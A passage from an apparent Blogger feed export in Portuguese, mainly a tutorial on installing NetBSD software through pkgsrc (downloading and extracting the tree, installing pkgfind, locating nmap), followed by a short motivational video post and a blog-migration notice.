term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='NetBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><title type='text'>Instalando Programas no NetBSD – pkgsrc</title><content type='html'>Vamos ver como instalar programas no NetBSD. Para tal espera-se que o seu NetBSD já esteja devidamente instalado. Caso ainda não o tenha instalado e precise de um guia para a instalação do mesmo, use o artigo que eu escrevi na edição 3 da revista espirito livre. Faça o download da revista &lt;a href="http://www.revista.espiritolivre.org/wp-content/plugins/download-monitor/download.php?id=3"&gt;AQUI&lt;/a&gt;.&lt;br /&gt;Uma vez que o seu sistema esteja instalado, certifique-se de que ele tenha conexão com a Internet:&lt;br /&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold; font-family: courier new; color: rgb(0, 102, 0);"&gt;&lt;span class="Apple-style-span"&gt;# ping insetoverde.wordpress.com&lt;br /&gt;&lt;br /&gt;PING lb.wordpress.com (76.74.254.123): 56 data bytes&lt;br /&gt;&lt;br /&gt;64 bytes from 76.74.254.123: icmp_seq=0 ttl=53 time=154.486 ms&lt;br /&gt;&lt;br /&gt;64 bytes from 76.74.254.123: icmp_seq=1 ttl=52 time=233.096 ms&lt;br /&gt;&lt;br /&gt;^C&lt;br /&gt;&lt;br /&gt;----lb.wordpress.com PING Statistics----&lt;br /&gt;&lt;br /&gt;2 packets transmitted, 2 packets received, 0.0% packet loss&lt;br /&gt;&lt;br /&gt;round-trip min/avg/max/stddev = 154.486/193.791/233.096/55.586 ms&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Caso não tenha conexão use o comando “&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;dhclient&lt;/span&gt;” para obter um IP por DHCP e teste novamente a conexão com o exemplo de PING demonstrado cima.&lt;br /&gt;&lt;br /&gt;Uma vez que a conexão com a Internet esteja configurada adequadamente, já estamos prontos para instalar programas no NetBSD. Vamos agora baixar um pacote que contém a coleção de programas disponíveis para o NetBSD – o &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;pkgsrc.tar.gz&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Digite o seguinte comando:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0); font-family: courier new;"&gt;&lt;span class="Apple-style-span"&gt;# ftp ftp://ftp.netbsd.org/pub/pkgsrc/current/pkgsrc.tar.gz&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Aguarde até que o download tenha terminado e…&lt;br /&gt;&lt;br /&gt;&lt;span style=""&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;# ls&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;.cshrc          .logout         .shrc&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;.login          .profile        pkgsrc.tar.gz&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Observe que o pacote está agora em nosso computador. Vamos movê-lo para um local apropriado e descompactá-lo a fim de que possamos verificar os pacotes disponíveis, escolher um deles, e instalá-lo:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-family: courier new; font-weight: bold;font-family:'courier new';" class="Apple-style-span" &gt;# mv ./pkgsrc.tar.gz /usr/&lt;br /&gt;# cd /usr/&lt;br /&gt;# tar -zxvf ./pkgsrc.tar.gz&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;O comando “tar” irá descompactá-lo dentro de “&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;/usr&lt;/span&gt;” criando um diretório chamado “&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;pkgsrc&lt;/span&gt;“. Destro dele estarão os profgramas portados ou desenvolvidos para o NetBSD.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;INSTALANDO UM PROGRAMA&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Vamos escolher um programa para instalar. Um programa que costumo instalar antes de qualquer um outro é o “pkgfind” acho ele super útil, por que ele me ajuda a encontrar outros programas dentro dos diretórios do pkgsrc (são muitos diretórios, às vezes não sei onde está o programa que quero instalar). Por isso, vamos instalá-lo e ver a sua utilização básica.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new; font-weight: bold; color: rgb(0, 102, 0);font-family:'courier new';" class="Apple-style-span" &gt;# cd /usr/pkgsrc/pkgtools/pkgfind/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Agora dentro do diretório do pkgfind, precisamos apenas digitar: &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;make instal&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;l&lt;/span&gt;. Feito isso, pronto!!! Temos o pkgfind instalado :) Vamos aprender a usar ele agora. Se quisermos instalar o programa “&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;nmap&lt;/span&gt;”… onde ele está para nós podermos entrar em seu diretório e digitar o “&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;make install&lt;/span&gt;”??? Vamos usar o pkgfind para descobrir:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:'courier new';" class="Apple-style-span" &gt;# pkgfind nmap&lt;br /&gt;&lt;br /&gt;net/nmap: Network/port scanner with OS detection&lt;/span&gt;&lt;div&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:'courier new';" class="Apple-style-span" &gt;&lt;br /&gt;net/p5-Nmap-Parser: Parse nmap scan data with perl&lt;/span&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Perceba que ele deu um caminho relativo (não temos o caminho completo desde a raíz). Esse caminho está levando em consideração o local onde você colocou o &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;pkgsrc&lt;/span&gt;, que em nosso caso é “&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;/usr/pkgsrc&lt;/span&gt;“. Sendo assim, o caminho para o nmap que queremos instalar seria “&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;/usr/pkgsrc/net/nmap&lt;/span&gt;“. Bastante útil o &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;pkgfind&lt;/span&gt; não é?! Agora você pode encotrar qualquer programa e instalá-lo.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-134260951271865026?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/134260951271865026/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/06/mais-um-teste.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/134260951271865026'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/134260951271865026'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/06/mais-um-teste.html' title='Instalando Programas no NetBSD – pkgsrc'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-6117579823803628809</id><published>2009-06-11T13:01:00.001-03:00</published><updated>2011-03-03T01:58:27.129-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='videos'/><title type='text'>Lição do dia</title><content type='html'>&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 19px;font-size:13px;" &gt;Devo agradecer a um amigo (invoid) por ter me mostrado esse vídeo, ele melhorou a minha visão de alguns pontos específicos na minha vida. Se eu podesse escolher as palavras exatas a serem usadas no dia da minha formatura, seriam essas:&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;PARTE1&lt;/pre&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/yplX3pYWlPo&amp;amp;hl=pt-br&amp;amp;fs=1&amp;amp;"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/yplX3pYWlPo&amp;amp;hl=pt-br&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre&gt; PARTE 2&lt;/pre&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/ksoo-G_YB2o&amp;amp;hl=pt-br&amp;amp;fs=1&amp;amp;"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/ksoo-G_YB2o&amp;amp;hl=pt-br&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 19px;font-size:13px;" &gt;&lt;p&gt;"A arte de viver consiste em tirar do maior mau o maior bem" - Machado de Assis&lt;/p&gt;&lt;p&gt;Bom dia a todos,&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-6117579823803628809?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/6117579823803628809/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/06/teste.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/6117579823803628809'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/6117579823803628809'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/06/teste.html' title='Lição do dia'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-8614875042964053646</id><published>2009-06-11T12:11:00.000-03:00</published><updated>2009-06-26T14:01:19.626-03:00</updated><title type='text'>Migrandooo</title><content type='html'>Pessoal,&lt;br /&gt;Estou migrando o meu antigo blog (http://insetoverde.wordpress.com) para este, pois no wordpress não é possível fazer muita coisa. É, não deu pra continuar no wordpress não. O lance por  lá é muito engessado!!!&lt;br /&gt;&lt;br /&gt;E meu querido calo (Raul Libório) me mostrou que aqui no blogspot é possível fazer o que eu estava procurando. Por isso...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;HERE WE ARE!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-8614875042964053646?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/8614875042964053646/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/06/migrandooo.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/8614875042964053646'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/8614875042964053646'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/06/migrandooo.html' title='Migrandooo'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>1</thr:total></entry></feed>
